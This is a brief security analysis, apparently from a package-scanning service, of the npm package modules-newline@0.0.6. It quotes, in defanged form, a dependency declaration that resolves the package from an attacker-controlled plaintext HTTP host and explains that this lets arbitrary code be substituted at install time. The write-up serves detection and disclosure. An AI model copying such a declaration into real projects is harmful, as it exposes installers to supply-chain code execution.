modules-newline@0.0.6

Analysis

The package declares a dependency on itself resolved from a non-registry plaintext HTTP host: dependencies and devDependencies both specify "modules-newline": "hxxp://pack[.]nppacks[.]com/npm/modules-newline". Installing this package redirects resolution of the modules-newline dependency away from the npm registry to an attacker-controlled HTTP server, which can serve arbitrary code in place of the package. The bundled code is a Babel plugin, but the dependency declaration is a supply-chain substitution vector.